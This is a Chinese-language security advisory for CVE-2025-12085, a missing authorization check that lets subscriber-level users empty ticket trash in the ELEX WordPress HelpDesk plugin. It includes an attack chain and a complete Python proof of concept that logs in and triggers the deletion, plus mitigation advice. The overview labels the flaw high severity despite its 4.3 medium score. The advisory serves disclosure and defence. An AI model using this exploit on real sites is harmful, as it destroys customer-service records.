IPBUF安全漏洞报告
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CVE-2025-12085 CVSS 4.3 中危

CVE-2025-12085 WordPress HelpDesk插件权限绕过漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-12085
漏洞类型
权限控制缺陷
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ELEX WordPress HelpDesk & Customer Ticketing System

相关标签

WordPress插件漏洞权限绕过ELEX HelpDesk工单系统CVE-2025-12085IDOR缺少权限检查

漏洞概述

CVE-2025-12085是WordPress插件ELEX WordPress HelpDesk & Customer Ticketing System中的一个高危安全漏洞。该插件是一款广泛应用于WordPress网站的客户工单支持系统,为企业提供工单管理、客户服务和技术支持功能。漏洞根源在于插件的'eh_crm_settings_empty_trash'函数缺少权限检查机制,导致任何已认证用户(包括最低权限的订阅者Subscriber角色)都可以调用该功能执行工单垃圾箱清空操作。这意味着攻击者可以无需管理员权限即可永久删除工单系统中的垃圾箱内容,可能导致企业重要客户服务记录、历史沟通数据和支持工单的不可逆丢失。该漏洞影响插件3.3.1及以下所有版本,由于WordPress的默认订阅者角色用户量大、分布广泛,漏洞利用门槛极低,攻击者只需拥有一个普通用户账号即可实施攻击。在实际攻击场景中,恶意用户可能利用此漏洞破坏客户服务记录、销毁证据或干扰正常业务运营。

技术细节

漏洞位于插件的includes/class-crm-ajax-functions-two.php文件中的'eh_crm_settings_empty_trash' AJAX处理函数。该函数负责处理工单垃圾箱的清空操作,但开发者未对该函数添加WordPress权限检查(current_user_can()验证)。在WordPress的AJAX钩子注册中,该函数通过wp_ajax_nopriv或wp_ajax钩子注册,使得所有已认证用户都可以访问该端点。攻击者只需构造一个POST请求到wp-admin/admin-ajax.php端点,包含action参数设置为对应的AJAX动作标识符,即可触发垃圾箱清空功能。CVSS 3.1向量AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N表明该漏洞通过网络即可利用(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N),对机密性无影响(C:N),但对完整性有低影响(I:L),可用性无影响(A:N)。攻击者通过订阅者账号即可清空所有已标记删除的工单,造成业务数据丢失。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的有效用户账号(Subscriber权限或更高)
STEP 2
步骤2
攻击者构造POST请求到/wp-admin/admin-ajax.php端点,设置action参数为eh_crm_settings_empty_trash
STEP 3
步骤3
由于插件未验证current_user_can()权限,请求被服务器接受并执行
STEP 4
步骤4
服务器执行数据库操作,将工单垃圾箱中的所有记录永久删除
STEP 5
步骤5
攻击完成,企业丢失重要的客户服务记录和历史工单数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12085 PoC # ELEX WordPress HelpDesk Plugin - Missing Authorization in eh_crm_settings_empty_trash # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1 def exploit_empty_trash(target_url, username, password): """ Exploit missing authorization check in eh_crm_settings_empty_trash function. Authenticated users with Subscriber role can empty all ticket trash. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint to empty ticket trash ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_settings_empty_trash', # Vulnerable function 'empty_trash': 'true' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Trash empty request sent successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_empty_trash(target, user, pwd)

影响范围

ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.1

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:在wp-config.php中添加访问控制,限制只有管理员可以访问相关AJAX端点;或使用WordPress安全插件(如Wordfence)配置自定义防火墙规则,阻止未授权用户访问eh_crm_settings_empty_trash端点;同时建议监控管理员日志,及时发现异常批量删除操作。

参考链接

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